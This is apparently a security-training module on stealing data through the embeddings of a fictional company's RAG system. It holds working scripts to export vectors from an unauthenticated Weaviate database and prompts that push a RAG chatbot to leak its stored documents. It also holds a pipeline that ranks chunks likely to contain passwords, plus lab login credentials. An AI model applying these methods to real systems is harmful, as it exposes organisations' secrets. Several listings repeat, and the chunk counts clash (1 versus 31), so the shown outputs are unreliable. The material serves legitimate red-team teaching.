6 - Attacking Embeddings
In the last Learning Module, we attacked RAG systems by extracting sensitive information from knowledge bases and poisoning them to compromise users, agents, and LLMs. In this Module, we'll shift focus to the vector databases that power those systems.
We're continuing our red team assessment against Megacorp One AI. In the previous Module, we exploited RAG pipelines to extract sensitive data and poison knowledge bases. During that work, we identified a Weaviate vector database running on one of the internal systems. In this Module, we'll target the embeddings stored in that database to recover passwords and credentials that were assumed to be safe.
The lab environment consists of a single machine accessible via SSH as user attacker (password attacker_attacker). The system runs a Weaviate vector database on port 8080 and a RAG chat interface on port 80. We'll use both throughout the Module.
Relational databases have decades of battle-tested security: access control, auditing, encryption, hardened authentication. Vector databases are much newer. They were built for fast similarity search, and while many now include encryption, role-based access control, and network isolation, these features were often bolted on after release rather than built in from the start.
That maturity gap matters, but there's a bigger problem: a dangerous misconception. Developers often believe embeddings work like hashes — one-way functions that can't be reversed. This leads them to relax security, reasoning that "even if an attacker captures the embeddings, they can't do anything with them". That assumption is wrong. Embeddings are designed to preserve semantic meaning, and where meaning is preserved, information can be recovered. As we'll see in this Module, that false sense of security is exactly what we exploit.
This Learning Module covers the following Learning Units:
- Embedding Attack Theory
- Reconnaissance
- Zero-Shot Embedding Inversion
- Pre-Trained Embedding Inversion
Embedding attack theory
In this Learning Unit, we'll cover what we can extract from embeddings, the techniques available to do it, and their practical limitations. These attacks map to MITRE ATLAS AML.T0024: Exfiltration via ML Inference API. We're recovering sensitive information from model artifacts that were assumed to be opaque. Membership inference is specifically covered under sub-technique AML.T0024.000.
This Learning Unit covers the following Learning Objectives:
- Understand the Different Categories of Embedding Attacks
- Learn the Theory behind Embedding Inversion Attacks
- Understand the Limitations of Embedding Inversion Attacks
What can we extract?
Once we have access to a vector database's embeddings, what can we actually do with them? It depends on our objectives, resources, and time. There are three categories of attacks.
Embedding Inversion reconstructs the original human-readable text from a vector. This is the most valuable result but also the most demanding. Depending on the approach, we may need knowledge of the embedding model, access to its weights, significant compute, or all three. Most of this Module focuses on inversion because recovering actual text is our primary goal.
Membership Inference answers a simpler question: is a specific piece of data present in the embeddings? We don't recover full text, but we can confirm whether a particular password, API key, or sensitive term exists in the knowledge base.
Attribute Inference predicts high-level metadata about the source documents directly from the vector, things like sentiment ("high risk", "bad financial data") or classification ("Audit Result", "Accounting Data"). If we're facing a database with thousands of chunks, this lets us quickly sift through and flag the most valuable targets before committing to a full inversion attack.
- During a red team engagement, you've gained access to a vector database containing 10,000 embedding chunks. You suspect a small number of chunks contain credentials, but you don't know which ones. Running a full embedding inversion attack on every chunk would take days. Based on the three attack categories just described, which category would you use first to narrow down your targets, and why?
- You've successfully performed embedding inversion on a chunk and recovered the text: "The database connection string is postgresql://admin:{REDACTED}@prod-db.internal:5432/customers". The password was not recovered because it's a high-entropy random string. Which of the three attack categories could help recover the actual password, and why?
Embedding inversion approaches
Now that we know what we can extract, let’s look at how to actually do it. The approach we choose depends on three things: what we know about the target’s embedding model, whether we can obtain real text-embedding pairs, and how much preparation time we have.
The following table summarizes the four main approaches. It’s ordered by preparation time, and in a time-constrained engagement, this is also the typical decision path: try zero-shot first if we know the model, fall back to few-shot if we can get pairs, and reach for supervised or surrogate only when time allows.
| Category | Model Access | Real Pairs Needed | Training | Tools (this Module) |
|---|---|---|---|---|
| Zero-Shot Inversion | Known, local or API | None | None | ZSInvert, Zero2Text |
| Few-Shot Inversion | Can be unknown | Small number of leaked or injected pairs; alignment plateaus at ~1,000–3,000 | Moderate (decoder) + light (alignment) | ALGEN |
| Supervised Inversion | Known, local | Self-generated (thousands+) | Heavy | Vec2Text |
| Surrogate Attacks | Unknown | None from target | Moderate (on surrogate) | — |
Let’s walk through each one.
Zero-Shot Inversion is the fastest to deploy because it doesn’t require training any model against the target’s embedding space. We need to know which embedding model produced the target embeddings, since the technique works by embedding candidate texts and comparing them to the target vector. Depending on the sub-approach, we might also need a local LLM, a template bank, or a wordlist, but all of that preparation is general-purpose and reusable across engagements. We’ll explore three sub-approaches (LLM-based optimization, gradient-based optimization, and beam-search inversion) in the Zero-Shot Embedding Inversion Learning Unit.
Few-Shot Inversion trades preparation time for a key advantage: it works even without knowing the target’s embedding model. We first train a decoder on our own hardware to reconstruct text from embeddings (hours on a single GPU). Then we compute a lightweight alignment from a small number of real text-embedding pairs from the target, whether through API responses, query logs, or canary injections into the ingestion pipeline. The alignment takes seconds and plateaus at roughly 1,000-3,000 pairs. At the time of this writing, no known defense effectively mitigates this approach. We’ll use ALGEN in the Pre-Trained Embedding Inversion Learning Unit to demonstrate it.
Supervised Inversion trains a decoder to reverse a specific, known embedding model using large datasets of pairs we generate locally. Frameworks like Vec2Text can achieve near-verbatim reconstruction on short inputs, but require days of multi-GPU training and the decoder only works against the model it was trained on. We’ll cover Vec2Text in the Pre-Trained Embedding Inversion Learning Unit.
Surrogate (Transfer) Attacks are our fallback when we don’t know the target model and can’t get real pairs. We train an inversion model against a similar open-source model we control. Different embedding models learn similar internal representations, so inversions can transfer, but quality varies with architectural similarity and there’s no guarantee without testing.
- An attacker has exported embeddings from a target system but does not know which embedding model was used. They have no write access to the vector store and no access to a RAG chat endpoint. Which inversion approaches from the table are eliminated by these constraints, and which remain viable?
- An attacker discovers that a target RAG system uses a fine-tuned version of a popular open-source embedding model. The base model is publicly available, but the fine-tuned weights are not. Which inversion approaches from the table would be degraded by the fine-tuning, and which would remain effective?
Limitations of embedding inversion attacks
Before we start the practical work, we need to set realistic expectations. These limitations determine which techniques are viable against a given target and help us avoid wasting time on approaches that won't work.
Token length: Nearly all publicly available tools have strict limits on how many tokens per chunk they can invert. Vec2Text's best results are on 32-token inputs, and performance drops on longer sequences. ZSInvert was tested up to 64 tokens with declining results. Real RAG systems chunk documents into 256-512 tokens, well beyond any current tool's demonstrated range. This means inversion results on production chunks will be less accurate than what academic papers report. Shorter chunks (credentials, configuration snippets, brief notes) are significantly more vulnerable than longer prose.
High-entropy tokens: LLM-based and decoder-based approaches struggle with random passwords, API keys, hashes, and other generated strings. These tokens have no semantic predictability, so an LLM can't guess them through optimization and a decoder has never seen them in training. We'll cover how to work around this with membership inference later.
Model identification: Most approaches require knowing which embedding model the target uses. Zero-shot techniques need direct access to the model or its API. Supervised approaches need the model to generate training pairs. Only surrogate attacks and few-shot inversion (with leaked or injected pairs) can work without this knowledge, but both have their own constraints. Identifying the model may require reconnaissance through API error messages, documentation, dependency files, or embedding dimensionality, all of which we'll cover in the Reconnaissance Learning Unit.
Dimensionality reduction and quantization: Higher-dimensional embeddings preserve more semantic information and are easier to invert. But many production databases reduce dimensionality (PCA, random projection) or apply quantization (scalar, product) to save storage and improve search speed. These transformations throw away information, which reduces inversion effectiveness. During an assessment, we should check whether embeddings are stored at full dimensionality or compressed, since this directly impacts what we can recover.
Domain mismatch: Supervised decoders and correction models are trained on specific datasets (such as MSMARCO passages or Natural Questions). When the target contains text from a different domain — legal documents, medical records, proprietary internal communications — performance drops because the model hits patterns it wasn't trained on.
These limitations don't make embedding inversion impractical. They mean we need to pick the right approach for each situation and combine techniques where one method falls short.
In the next Learning Unit, we'll begin the practical work: exporting embeddings, identifying the embedding model, and triaging chunks to find the highest-value targets before attempting inversion.
- A target vector database stores chunks of 512 tokens each, and you know the embeddings were compressed using product quantization. Which two limitations from this section most severely impact inversion feasibility, and would shorter chunks (e.g., 30-40 token configuration snippets) stored in the same database be more or less vulnerable?
- Research how product quantization (PQ) and scalar quantization (SQ) work in vector databases. How does each method reduce storage, and which one destroys more of the fine-grained information that an inversion attack would need?
Reconnaissance
In this Learning Unit, we'll review several preparation steps before we can actually perform embedding inversion attacks in the following Learning Units.
We'll begin by exporting embedding vectors from vector databases. Then, we'll review several methods to identify the embedding model. Finally, we'll analyze how to select chunks from massive knowledge bases to reduce our embedding inversion attack times.
This Learning Unit covers the following Learning Objectives:
- Practice how to export Embedding Vectors
- Understand different techniques to identify the Embedding Model
- Review how to Triage Chunks
Obtaining the embedding vectors
Please check the attached video named obtaining_the_embedding_01.mp4
Let's connect to the lab machine via SSH as user attacker (password attacker_attacker). The IP is available in the Resources section. In the post-exploitation phase, we identify an open Weaviate database listening locally on port 8080.
Let's use a Python script to attempt to connect to the database to verify we can access it and list all collections.
attacker@rag:~$ <cu>cat enum1.py</cu>
import requests
WEAVIATE_URL = "http://localhost:8080"
response = requests.get(f"{WEAVIATE_URL}/v1/schema")
response.raise_for_status()
schema = response.json()
# Extract all collection (class) names
collections = [c["class"] for c in schema.get("classes", [])]
print("Collections:", collections)
Listing 1 - Python Script to List All Collections in Weaviate
Running the script shows that we can connect to the database without authentication and the following collection is available:
Collections: ['DocChunk']
Listing 2 - Displaying All Collections in the Weaviate Vector DB
Listing 2 shows that the collection DocChunk is present in the vector database. Since we can access the database, our first step is to export all embeddings into NumPy files using the following script:
(Explain the embedding export script)|Break down how this Python script exports embeddings from Weaviate. Explain the GraphQL cursor-based pagination pattern, why the script requests the _additional { id vector } fields, and what the resulting NumPy array shape represents (rows = chunks, columns = dimensions).
import requests
import numpy as np
import pandas as pd
from pathlib import Path
from tqdm import tqdm
WEAVIATE_URL = "http://localhost:8080/v1/graphql"
COLLECTION = "DocChunk"
PAGE_SIZE = 200
OUT_DIR = Path("./export")
OUT_DIR.mkdir(exist_ok=True)
def gql(query: str):
resp = requests.post(WEAVIATE_URL, json={"query": query})
resp.raise_for_status()
data = resp.json()
if "errors" in data:
raise RuntimeError(data["errors"])
return data["data"]
print(f"Connected to Weaviate via raw HTTP. Collection: {COLLECTION}")
count_query = """
{
Aggregate {
DocChunk {
meta {
count
}
}
}
}
"""
count_res = gql(count_query)
total = count_res["Aggregate"]["DocChunk"][0]["meta"]["count"]
print(f"Total objects: {total}")
all_ids = []
all_chunk_ids = []
all_vectors = []
cursor = None
fetched = 0
pbar = tqdm(total=total, desc="Exporting embeddings")
while True:
after_clause = f'after: "{cursor}"' if cursor else ""
query = f"""
{{
Get {{
{COLLECTION}(
limit: {PAGE_SIZE}
{after_clause}
) {{
chunk_id
_additional {{
id
vector
}}
}}
}}
}}
"""
res = gql(query)
objs = res["Get"][COLLECTION]
if not objs:
break
for obj in objs:
all_ids.append(obj["_additional"]["id"])
all_chunk_ids.append(obj.get("chunk_id"))
all_vectors.append(obj["_additional"]["vector"])
cursor = objs[-1]["_additional"]["id"]
fetched += len(objs)
pbar.update(len(objs))
if fetched >= total:
break
pbar.close()
vectors_np = np.array(all_vectors, dtype=np.float32)
np.save(OUT_DIR / "embeddings.npy", vectors_np)
np.save(OUT_DIR / "chunk_ids.npy", np.array(all_chunk_ids))
np.save(OUT_DIR / "uuids.npy", np.array(all_ids, dtype=object))
df_meta = pd.DataFrame({"uuid": all_ids, "chunk_id": all_chunk_ids})
df_vec = pd.DataFrame(
vectors_np,
columns=[f"dim_{i}" for i in range(vectors_np.shape[1])]
)
df_full = pd.concat([df_meta, df_vec], axis=1)
df_full.to_csv(OUT_DIR / "embeddings.csv", index=False)
df_full.to_parquet(OUT_DIR / "embeddings.parquet", index=False)
print("Vectors successfully exported!")
import requests
import numpy as np
import pandas as pd
from pathlib import Path
from tqdm import tqdm
WEAVIATE_URL = "http://localhost:8080/v1/graphql"
COLLECTION = "DocChunk"
PAGE_SIZE = 200
OUT_DIR = Path("./export")
OUT_DIR.mkdir(exist_ok=True)
def gql(query: str):
resp = requests.post(WEAVIATE_URL, json={"query": query})
resp.raise_for_status()
data = resp.json()
if "errors" in data:
raise RuntimeError(data["errors"])
return data["data"]
print(f"Connected to Weaviate via raw HTTP. Collection: {COLLECTION}")
count_query = """
{
Aggregate {
DocChunk {
meta {
count
}
}
}
}
"""
count_res = gql(count_query)
total = count_res["Aggregate"]["DocChunk"][0]["meta"]["count"]
print(f"Total objects: {total}")
all_ids = []
all_chunk_ids = []
all_vectors = []
cursor = None
fetched = 0
pbar = tqdm(total=total, desc="Exporting embeddings")
while True:
after_clause = f'after: "{cursor}"' if cursor else ""
query = f"""
{{
Get {{
{COLLECTION}(
limit: {PAGE_SIZE}
{after_clause}
) {{
chunk_id
_additional {{
id
vector
}}
}}
}}
}}
"""
res = gql(query)
objs = res["Get"][COLLECTION]
if not objs:
break
for obj in objs:
all_ids.append(obj["_additional"]["id"])
all_chunk_ids.append(obj.get("chunk_id"))
all_vectors.append(obj["_additional"]["vector"])
cursor = objs[-1]["_additional"]["id"]
fetched += len(objs)
pbar.update(len(objs))
if fetched >= total:
break
pbar.close()
vectors_np = np.array(all_vectors, dtype=np.float32)
np.save(OUT_DIR / "embeddings.npy", vectors_np)
np.save(OUT_DIR / "chunk_ids.npy", np.array(all_chunk_ids))
np.save(OUT_DIR / "uuids.npy", np.array(all_ids, dtype=object))
df_meta = pd.DataFrame({"uuid": all_ids, "chunk_id": all_chunk_ids})
df_vec = pd.DataFrame(
vectors_np,
columns=[f"dim_{i}" for i in range(vectors_np.shape[1])]
)
df_full = pd.concat([df_meta, df_vec], axis=1)
df_full.to_csv(OUT_DIR / "embeddings.csv", index=False)
df_full.to_parquet(OUT_DIR / "embeddings.parquet", index=False)
print("Vectors successfully exported!")
Listing 3 - Python Script to Export All Embeddings of the DocChunk Collection
Running the script shows that we can successfully export all embeddings from the collection.
Connected to Weaviate via raw HTTP. Collection: DocChunk
Total objects: 1
Exporting embeddings: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00, 192.80it/s]
Vectors successfully exported!
Listing 4 - Exporting All Embeddings of the DocChunk Collection
The script created the export directory with one of the files being embeddings.npy. This file contains the raw numerical representations of the document chunks, which we'll now attempt to invert back to text.
As discussed in the previous Learning Unit, the methods we can use depend on time, resources, knowledge of the embedding model, and access to the embedding model's weights. Before we can proceed with the actual inversion attack, we need to identify which embedding model was used to create these vectors.
- In this theory exercise, you are asked to research a vector database not covered in this module. Assume you have breached a network and discovered a Milvus instance listening on a non-standard port. Before exporting any data, you need to identify the running vector database software. Based on your knowledge or research, what default ports and service endpoints could you check to confirm that the service is Milvus?
- The export script uses GraphQL cursor-based pagination to extract all embeddings. In a red team engagement where stealth matters, why might exporting all 10,000 chunks at once be risky, and what approach would reduce your detection footprint that is utilizing time?
- The export script saves embeddings in NumPy (.npy), CSV, and Parquet formats. Research the differences between these formats in terms of precision and file size for storing float32 vectors. Which format preserves the exact floating-point values needed for accurate inversion attacks?
Identifying the embedding model
Please check the attached video named identifying_the_embedding_01.mp4
Now we need to figure out which embedding model produced these vectors. One option is to check whether the vector database was configured to calculate embeddings itself. Many vector databases handle embedding during ingestion, so the model name may be right in the schema configuration or environment variables.
Another option is to perform fingerprinting via the dimensionality. Let's use the following script to obtain the dimensionality of the embeddings:
import requests, json
query = """
{
Get {
DocChunk(limit: 1) {
_additional { vector }
}
}
}
"""
r = requests.post("http://localhost:8080/v1/graphql", json={"query": query})
vec = r.json()["data"]["Get"]["DocChunk"][0]["_additional"]["vector"]
print("Vector length:", len(vec))
Listing 5 - Python Script to Display the Dimensions of the Embeddings
Running the script provides us the dimensionality of the embeddings:
Vector length: 384
Listing 6 - Displaying the Dimensions of the Embeddings
Since each embedding model has its own characteristic dimensionality, this may give us insight into the model being used.
OpenAI text-embedding-ada-002: 1536 dimensions
OpenAI text-embedding-3-small: 1536 dimensions (default)
OpenAI text-embedding-3-large: 3072 dimensions
Cohere embed-english-v3.0: 1024 dimensions
all-MiniLM-L6-v2: 384 dimensions
BGE-base: 768 dimensions
Listing 7 - List of Common Embedding Model Dimensions
Unfortunately, many models share the same dimensions. Therefore, we can only use this as a first indication for common dimensions, such as 384 and 768. The 384-dimensional space narrows our possibilities significantly, but we still need more information to be certain.
We can also look for documentation about the embedding model, or use OSINT and social engineering if they're in scope: GitHub repos, conference talks, developer docs, or even calling IT support for "architectural documentation".
But in most active assessments, none of that is available or in scope. We need something we can do with what we already have: the exported vectors and a chat interface.
This technique is called inference probing and requires us to have access to the exported vectors and a chat interface of the RAG service (or an inference API). This technique exploits the fact that every query to a RAG system triggers a retrieval step, the system embeds our question, searches for the most similar vectors in the database, and feeds the matching chunks to the LLM to generate an answer. The LLM's response therefore leaks information about the content of stored chunks, even though we never see the chunks directly. By analyzing these responses, we can extract approximate plaintext for documents in the database, and then test which embedding model maps that text to the vectors we already exported.
Let's review the prepared script named inference_probing.py. Manually querying a RAG system and eyeballing which model might match would be tedious and error-prone, so the script automates the entire workflow with several key features. It starts by checking the dimension of the exported embeddings and automatically filtering the candidate model list to only those that produce vectors of the matching size, which immediately eliminates most candidates. It then sends a series of crafted queries to the RAG chatbot across three query strategies: verbatim requests that ask the system to quote exact text, factual questions targeting specific details like passwords or URLs, and broader queries that elicit longer descriptive responses. An optional deep mode adds a second pass with more aggressive extraction prompts designed to make the LLM reproduce full document content rather than summarize it.
Each response is split into segments at multiple granularities:
- individual sentences,
- consecutive sentence pairs, and
- the full response text. Sentence pairs matter because a single chunk's content often spans two adjacent sentences, and testing them together produces a stronger match than either sentence alone.
The script then processes each candidate embedding model by:
- loading the model,
- embedding all extracted segments, and
- computing cosine similarity against every stored vector in the exported database.
The correct model will produce vectors that land close to the stored ones, typically 0.85 or higher for segments that closely paraphrase real chunks, while incorrect models score around 0.5–0.6 even for the same text, because their embedding spaces have different geometry despite sharing the same dimension. The script ranks candidates by their top-5 average similarity, which focuses on the best-matching segments and ignores LLM filler text that matches poorly regardless of model. It reports the identified model along with a confidence level based on the separation from the runner-up, and optionally saves the matched text-embedding pairs for direct use as ALGEN (Alignment Generation or Aligned Generation) alignment data.
Let's run the script and determine if it identifies the correct model for our case.
attacker@rag:~$ <cu>source venv/bin/activate</cu>
(venv) attacker@rag:~$ <cu>python3 inference_probing.py export/embeddings.npy --url http://127.0.0.1:80</cu>
[+] Loading: export/embeddings.npy
Vectors: 1
Dimension: 384
L2-normalized: True
<cr>Candidates: 7 models for 384-dim embeddings</cr>
[+] 24 probe queries (strategy: all)
[Phase 1] Probing RAG at http://127.0.0.1:80
...
============================================================
RESULTS — Embedding Model Fingerprint
============================================================
1. sentence-transformers/all-MiniLM-L6-v2 <--
top5_avg=0.9336 max=0.9646 avg=0.5300 strong(>0.8)=9
2. sentence-transformers/multi-qa-MiniLM-L6-cos-v1
top5_avg=0.7239 max=0.7394 avg=0.4151 strong(>0.8)=0
3. sentence-transformers/all-MiniLM-L12-v2
top5_avg=0.4822 max=0.4989 avg=0.2945 strong(>0.8)=0
4. sentence-transformers/paraphrase-MiniLM-L6-v2
top5_avg=0.4110 max=0.4284 avg=0.2364 strong(>0.8)=0
5. intfloat/e5-small-v2
top5_avg=0.2613 max=0.2705 avg=0.1533 strong(>0.8)=0
6. BAAI/bge-small-en-v1.5
top5_avg=0.2556 max=0.2661 avg=0.1452 strong(>0.8)=0
7. thenlper/gte-small
top5_avg=0.1708 max=0.1814 avg=0.1036 strong(>0.8)=0
Identified model: sentence-transformers/all-MiniLM-L6-v2
Runner-up: sentence-transformers/multi-qa-MiniLM-L6-cos-v1
Separation: 0.2096
Confidence: HIGH
Best matched segments:
sim=0.9646 vec[0] "Please navigate to https://login.megacorpone.ai and click on "Need help signing ..."
sim=0.9557 vec[0] "Based on the provided context, the exact text about the password reset procedure..."
sim=0.9531 vec[0] "The authentication and login procedures are as follows:
1. Navigate to the URL:..."
sim=0.9043 vec[0] "Based on the provided context, the exact text about the password reset procedure..."
sim=0.8901 vec[0] "According to the documentation from MC1_password_reset.pdf, the login procedure ..."
Listing 8 - Performing Inference Probing
Listing 8 shows that 7 embedding models are considered due to the dimension. Then, the script probes the RAG chat UI with several prompts and analyzes the output. The result shows that the correct embedding model all-MiniLM-L6-v2 was identified.
(Use KAI to Analyze inference probing results)|The top model scores 0.9336 while the runner-up scores 0.7239, both being 384-dimensional MiniLM models. Why do two models from the same architecture family produce such different similarity scores against the same stored vectors? What does "strong(>0.8)=9" tell us beyond the top5_avg score?
(venv) attacker@rag:~$ <cu>python3 inference_probing.py export/embeddings.npy --url http://127.0.0.1:80</cu>
[+] Loading: export/embeddings.npy
Vectors: 1
Dimension: 384
L2-normalized: True
<cr>Candidates: 7 models for 384-dim embeddings</cr>
[+] 24 probe queries (strategy: all)
[Phase 1] Probing RAG at http://127.0.0.1:80
...
============================================================
RESULTS — Embedding Model Fingerprint
============================================================
1. sentence-transformers/all-MiniLM-L6-v2 <--
top5_avg=0.9336 max=0.9646 avg=0.5300 strong(>0.8)=9
2. sentence-transformers/multi-qa-MiniLM-L6-cos-v1
top5_avg=0.7239 max=0.7394 avg=0.4151 strong(>0.8)=0
3. sentence-transformers/all-MiniLM-L12-v2
top5_avg=0.4822 max=0.4989 avg=0.2945 strong(>0.8)=0
4. sentence-transformers/paraphrase-MiniLM-L6-v2
top5_avg=0.4110 max=0.4284 avg=0.2364 strong(>0.8)=0
5. intfloat/e5-small-v2
top5_avg=0.2613 max=0.2705 avg=0.1533 strong(>0.8)=0
6. BAAI/bge-small-en-v1.5
top5_avg=0.2556 max=0.2661 avg=0.1452 strong(>0.8)=0
7. thenlper/gte-small
top5_avg=0.1708 max=0.1814 avg=0.1036 strong(>0.8)=0
Identified model: sentence-transformers/all-MiniLM-L6-v2
Runner-up: sentence-transformers/multi-qa-MiniLM-L6-cos-v1
Separation: 0.2096
Confidence: HIGH
Best matched segments:
sim=0.9646 vec[0] "Please navigate to https://login.megacorpone.ai and click on "Need help signing ..."
sim=0.9557 vec[0] "Based on the provided context, the exact text about the password reset procedure..."
sim=0.9531 vec[0] "The authentication and login procedures are as follows:
1. Navigate to the URL:..."
sim=0.9043 vec[0] "Based on the provided context, the exact text about the password reset procedure..."
sim=0.8901 vec[0] "According to the documentation from MC1_password_reset.pdf, the login procedure ..."
Great! This shows that with access to the exported embeddings and chatbot UI, we could determine the embedding model without having to guess. In an engagement, this is critical information to obtain before we can perform most attacks.
- The dimensionality fingerprinting approach identified 384 dimensions, which narrows candidates but isn't unique. Research the Hugging Face Model Hub and identify at least four embedding models that produce 384-dimensional vectors.
- The section describes inference probing as a technique that requires both exported vectors and a RAG chat interface. Think out of the box: imagine you’ve managed to export the vectors, but you do not have access to any chat interface. In that situation, how could you still figure out which model is being used? Describe the scenario and explain which alternative reconnaissance methods from this section could still help identify the model.
- Inference probing works by sending queries to a RAG system and comparing response segments against exported vectors. Why would the LLM's tendency to paraphrase or summarize retrieved chunks reduce the similarity scores, and how does the script's multi-granularity segmentation (single sentences, sentence pairs, full responses) compensate for this?
Triaging chunks
Please check the attached video named triaging_chunks_01.mp4
A production vector database may contain thousands or tens of thousands of chunks. Running a full inversion attack against every chunk is not practical. Each chunk takes minutes to attack, and most chunks in a typical enterprise knowledge base contain mundane content: HR policies, meeting notes, product documentation. The chunks worth attacking are the small fraction that hold credentials, API keys, or other secrets. We need a way to find those chunks before committing resources.
Chunk triage solves this by working entirely in embedding space, without needing to invert anything first. The core idea is simple: if a chunk contains a password reset message, its embedding will be similar to other texts about password resets. We define banks of sensitivity probes, short texts that describe or resemble sensitive content like credentials, API keys, SSH keys, PII, and financial data. Each probe is embedded with the same model, and we compute cosine similarity against every chunk. High scores against credential probes mean the chunk likely contains credentials.
The chunk_triage_pipe.py script chains three stages into a cascading pipeline, each narrowing the candidate pool before the next one runs.
Stage 1 (Density) scores every chunk on two signals: how isolated it is from its neighbors (credential chunks tend to sit alone, since a password reset doc has few semantic neighbors compared to the cluster of policy pages around it) and how relevant it is to credential-like probes. The top candidates (default 50) pass forward.
Stage 2 (Contrastive Pairwise) uses both positive probes (texts resembling credentials) and negative probes (texts resembling benign content like policies) to compute a net sensitivity score. It uses Reciprocal Rank Fusion across multiple weighting configurations for stability, and cluster normalization to surface secrets buried among structurally similar but mundane content. The top 20 advance.
Stage 3 (Reconstruction) attempts shallow embedding inversion on each remaining candidate using enterprise document templates (optionally customized with --company). The decoded text is scored for credential indicators: regex patterns for passwords and API keys, Shannon entropy, and character-class diversity.
Fusion combines per-stage rankings using weighted Reciprocal Rank Fusion (density: 1.0, PW: 1.5, reconstruction: 2.0), giving more influence to the more discriminating later stages. The result is a ranked shortlist of high-value targets, reduced from the entire embedding store to a handful of candidates in seconds.
Let's run the chunk_triage_pipe.py script against the exported vector database embeddings.npy and check which chunks it identifies to potentially contain sensitive information such as passwords.
(venv) attacker@rag:~$ <cu>python3 chunk_triage_pipe.py export/embeddings.npy</cu>
[*] Pipeline stages: density -> pw -> recon
[+] Loading: export/embeddings.npy
Chunks: 31 | Dim: 384 | Normalized: True
[+] Loading model: sentence-transformers/all-MiniLM-L6-v2
modules.json: 100%|████████████████████████████████████████████████████████████████████| 349/349 [00:00<00:00, 2.55MB/s]
config_sentence_transformers.json: 100%|███████████████████████████████████████████████| 116/116 [00:00<00:00, 1.08MB/s]
README.md: 10.5kB [00:00, 39.1MB/s]
sentence_bert_config.json: 100%|██████████████████████████████████████████████████████| 53.0/53.0 [00:00<00:00, 526kB/s]
config.json: 100%|█████████████████████████████████████████████████████████████████████| 612/612 [00:00<00:00, 6.56MB/s]
model.safetensors: 100%|████████████████████████████████████████████████████████████| 90.9M/90.9M [00:00<00:00, 164MB/s]
tokenizer_config.json: 100%|███████████████████████████████████████████████████████████| 350/350 [00:00<00:00, 2.71MB/s]
vocab.txt: 232kB [00:00, 72.4MB/s]
tokenizer.json: 466kB [00:00, 96.7MB/s]
special_tokens_map.json: 100%|█████████████████████████████████████████████████████████| 112/112 [00:00<00:00, 1.01MB/s]
config.json: 100%|█████████████████████████████████████████████████████████████████████| 190/190 [00:00<00:00, 1.54MB/s]
Model loaded in 8.3s
------------------------------------------------------------
STAGE 1: DENSITY (all 31 chunks -> top 50)
------------------------------------------------------------
Top 5 density:
#1 chunk[23] score=0.8823 (iso=0.765 rel=1.000)
#2 chunk[0] score=0.6595 (iso=0.465 rel=0.854)
#3 chunk[11] score=0.6152 (iso=0.894 rel=0.336)
#4 chunk[21] score=0.6129 (iso=0.459 rel=0.766)
#5 chunk[4] score=0.5641 (iso=1.000 rel=0.128)
[0.5s] Passing 31 candidates ->
------------------------------------------------------------
STAGE 2: PW (31 chunks -> top 20)
------------------------------------------------------------
Top 5 pw:
#1 chunk[0] final=0.1132 (rrf=0.0820 z=1.90)
#2 chunk[23] final=0.1092 (rrf=0.0806 z=1.77)
#3 chunk[21] final=0.1082 (rrf=0.0794 z=1.82)
#4 chunk[17] final=0.1008 (rrf=0.0781 z=1.45)
#5 chunk[10] final=0.0969 (rrf=0.0769 z=1.30)
[0.0s] Passing 20 candidates ->
------------------------------------------------------------
STAGE 3: RECON (20 chunks, mode=seed)
------------------------------------------------------------
Inverted 10/20
Inverted 20/20
Top 5 recon:
#1 chunk[21] combined=0.7054 (cred=1.000 inv=0.5099)
#2 chunk[17] combined=0.6166 (cred=1.000 inv=0.3630)
#3 chunk[0] combined=0.4754 (cred=0.300 inv=0.6483)
#4 chunk[23] combined=0.4349 (cred=0.100 inv=0.7034)
#5 chunk[16] combined=0.3126 (cred=0.100 inv=0.6186)
[0.4s]
------------------------------------------------------------
FUSION: Weighted RRF (density:1.0, pw:1.5, recon:2.0)
------------------------------------------------------------
========================================================================
PIPELINE RESULTS -- Top 10 (fused)
Stages: density -> pw -> recon | Timings: density=0.5s, pw=0.0s, recon=0.4s
========================================================================
Rank Chunk Fused density pw recon
-------------------------- -------- -------- --------
1 [ 0] 0.072465 #2 #1 #3
2 [ 21] 0.072221 #4 #3 #1
3 [ 23] 0.071837 #1 #2 #4
4 [ 17] 0.068041 #21 #4 #2
5 [ 19] 0.065791 #9 #6 #10
6 [ 10] 0.064976 #23 #5 #7
7 [ 11] 0.064928 #3 #7 #15
8 [ 16] 0.064553 #14 #14 #5
9 [ 12] 0.063305 #6 #11 #14
10 [ 6] 0.063288 #10 #12 #11
Score distribution (31 chunks):
max=0.072465 mean=0.060550 median=0.059403 min=0.052656
Total pipeline time: 1.0s
Listing 9 - Performing Chunk Triaging
embeddings.npy will be provided. The output shows that from 31 chunks, the top 3 fused scores cluster above 0.071, while the fourth drops to 0.068, a gap that marks a natural cutoff. (Interpret triage results)|The top 3 chunks score above 0.071 while the fourth drops to 0.068. Chunk [0] ranks #2, #1, #3 across stages while chunk [17] ranks #21, #4, #2. What does consistent cross-stage ranking tell us versus a chunk that ranks high in only one stage? Is the 0.003 gap between rank 3 and rank 4 a meaningful cutoff given the overall score distribution (max=0.072, mean=0.060, min=0.052)?
(venv) attacker@rag:~$ <cu>python3 chunk_triage_pipe.py export/embeddings.npy</cu>
[*] Pipeline stages: density -> pw -> recon
[+] Loading: export/embeddings.npy
Chunks: 31 | Dim: 384 | Normalized: True
[+] Loading model: sentence-transformers/all-MiniLM-L6-v2
modules.json: 100%|████████████████████████████████████████████████████████████████████| 349/349 [00:00<00:00, 2.55MB/s]
config_sentence_transformers.json: 100%|███████████████████████████████████████████████| 116/116 [00:00<00:00, 1.08MB/s]
README.md: 10.5kB [00:00, 39.1MB/s]
sentence_bert_config.json: 100%|██████████████████████████████████████████████████████| 53.0/53.0 [00:00<00:00, 526kB/s]
config.json: 100%|█████████████████████████████████████████████████████████████████████| 612/612 [00:00<00:00, 6.56MB/s]
model.safetensors: 100%|████████████████████████████████████████████████████████████| 90.9M/90.9M [00:00<00:00, 164MB/s]
tokenizer_config.json: 100%|███████████████████████████████████████████████████████████| 350/350 [00:00<00:00, 2.71MB/s]
vocab.txt: 232kB [00:00, 72.4MB/s]
tokenizer.json: 466kB [00:00, 96.7MB/s]
special_tokens_map.json: 100%|█████████████████████████████████████████████████████████| 112/112 [00:00<00:00, 1.01MB/s]
config.json: 100%|█████████████████████████████████████████████████████████████████████| 190/190 [00:00<00:00, 1.54MB/s]
Model loaded in 8.3s
------------------------------------------------------------
STAGE 1: DENSITY (all 31 chunks -> top 50)
------------------------------------------------------------
Top 5 density:
#1 chunk[23] score=0.8823 (iso=0.765 rel=1.000)
